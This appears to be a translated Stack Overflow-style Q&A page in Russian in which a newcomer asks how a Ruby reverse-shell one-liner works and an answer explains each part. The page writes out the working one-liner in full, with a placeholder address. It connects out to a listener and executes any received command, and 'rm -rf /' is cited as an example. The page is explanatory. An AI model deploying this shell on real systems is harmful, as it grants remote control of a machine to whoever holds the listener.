Рубиновый однолинейный пробой? - PullRequest
0 голосов
/ 28 августа 2018

Я новичок в Ruby и пытаюсь лучше понять эту однострочную оболочку с обратной оболочкой, предназначенную для подключения к слушателю Netcat.

Может кто-нибудь попробовать сломать команду и объяснить, что на самом деле делает код? Например, я знаю, что «TCPSocket.new» создает новый сокет TCP, но что такое «cmd = c.gets», «IO.popen», «| io | c.print io.read» и т. Д. цель цикла while?

ruby -rsocket -e "c=TCPSocket.new('<IP Address>','<Port>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"

1 Ответ

0 голосов
/ 28 августа 2018

ОК, давайте разберемся с этим.

ruby

запускает интерпретатор ruby, вы, вероятно, знали, что часть

-rsocket

эквивалентен require "socket" (r для запроса)

-e "some string"

запустить some string как скрипт ruby ​​(e для выполнения)

while(cmd=c.gets)

говорит "пока gets (получить строку до и включая следующий символ новой строки) возвращает что-то из соединения c, то есть, когда поступают данные, присвойте это cmd и ..

IO.popen(cmd,'r'){|io|c.print io.read}

.. запустите cmd в качестве команды оболочки, прочитайте вывод и print верните его на соединение c.

Таким образом, по сути, получите команду (например, ls . или rm -rf /) по сети, прочитайте ее, запустите, возьмите выходные данные и отправьте их обратно. Продолжайте так до тех пор, пока другая сторона не прекратит посылать команды.

Поскольку gets заблокирует и будет ждать поступления следующей строки, этот однострочный текст будет находиться там в ожидании, пока соединение не будет закрыто.

Вероятно, не хотят позволять другим людям отправлять команды по этому соединению, так как оно будет запускать все, что они посылают прямо на ваш компьютер, хотя это, вероятно, означает, что вы подразумеваете под "обратной оболочкой".

...